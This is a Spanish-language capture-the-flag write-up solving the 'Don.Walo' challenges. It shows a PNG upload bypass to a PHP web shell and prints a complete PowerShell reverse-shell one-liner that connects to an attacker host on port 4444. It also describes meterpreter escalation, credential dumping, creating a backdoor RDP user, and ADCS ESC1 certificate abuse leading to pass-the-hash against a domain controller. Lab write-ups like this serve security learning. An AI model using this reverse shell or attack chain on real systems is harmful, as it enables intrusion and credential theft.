Para la resolución de los retos de Don.Walo del pasado CTF de Q4 fue necesario realizar lo siguiente.
Don Walo consulting era una página de asesoría bien particular haha
tenía en uno de sus menús la posibilidad de subir archivos, específicamente en “Compartenos”
El sitio, solo permitía subir archivos con extensión PNG y además no se sabía donde quedaban guardados al momento de ser subidos, por lo que con un poco de fuzz se encontró la carpeta “viewimages”.
Se subió el archivo con extensión png y se interceptó con la herramienta BurpSuite para cambiar esa extensión a php y tener un backdoor dentro del sitio.
cambio de extensión del archivo a spc.php
Subida de archivo exitosa.
dentro del directorio “viewimages” se observó el archivo con extensión php subido.
sé usó el backdoor disponible y se interceptó con BurpSuite nuevamente donde se generó una conexión reversa en el puerto 4444 usando netcat y un Powershell one liner reverse shell.
powershell.exe -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP VPN',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Envío de conexión reversa.
Obtención de conexión reversa en el puerto 4444.
Para escalar privilegios, se creó una binario de meterpreter con msfvenom de la siguiente manera.
Este ejecutable se subió con curl y se consiguió la conexión reversa de meterpreter con el exploit de multi handler de Metasploit.
Conexión reversa en Metasploit, donde se usó el módulo getsystem para obtener privilegios elevados y kiwi para el volcado de credenciales.
Un usuario llamado “cntr0llz” se creó en la maquina WEB01 obtenida y se usó para ingresar vía escritorio remoto, para esto se ejecutaron diferentes comandos que permitieron habilitar los servicios de conexión RDP.
La conexión vía escritorio remoto fue exitosa y se consiguió la primera flag en el Desktop del usuario Administrator.
Primera flag Don.Walo.
Don.Walo 2.
Para obtener la flag del reto llamado Don.Walo 2 se encontró un archivo en la carpeta Documents del usuario Administrator que decía lo siguiente.
Con la ayuda de una enumeración del dominio con bloodhound, se identificó que el usuario miguel.lopez tenía la posibilidad de conectar vía escritorio remoto al controlador de dominio.
sin embargo esta información era poco relevante ya que no permitía obtener la flag que se encontraba dentro de un usuario privilegiado.
Se realizó un túnel de rutas con la sesión que se tenía de meterpreter en WEB01 hacia el segmento 192.168.2.0/24 donde se encontraba el controlador de dominio DC02.
Luego, se solicitó la búsqueda de certificados con la herramienta Certipy.
https://github.com/ly4k/Certipy
Con la ayuda de proxychains y Certipy fue posible encontrar algunos certificados disponibles en el dominio.
Una vez en conocimiento de que existían certificados y plantillas, se revisó cual era vulnerable encontrando lo siguiente.
Usando la técnica de Certipy para certificados ESC1 se logró conseguir el objetivo.
https://github.com/ly4k/Certipy#esc1
Para ello, se solicitó un certificado y llave privada del Administrator en la máquina DC02, ya que la plantilla del certificado vulnerable permitía que con la autenticación de un usuario de dominio se pudiera proporcionar un usuario alternativo para la solicitud del nuevo certificado.
Una vez conseguido el certificado firmado, se solicitó el volcado del hash del usuario Administrator. (También se puede conseguir el hash de máquina DC02$ eligiendo la opción 1 DNS Host Name)
Con el hash del administrador y usando la herramienta wmiexec.py de la suite de Impacket, se efetuó una conexión hacía el servidor DC02, donde se consiguió la flag de Don.Walo2.
Con lo anterior termina el desarrollo de los retos Don.Walo y Don.Walo 2.
Happy hacking 😀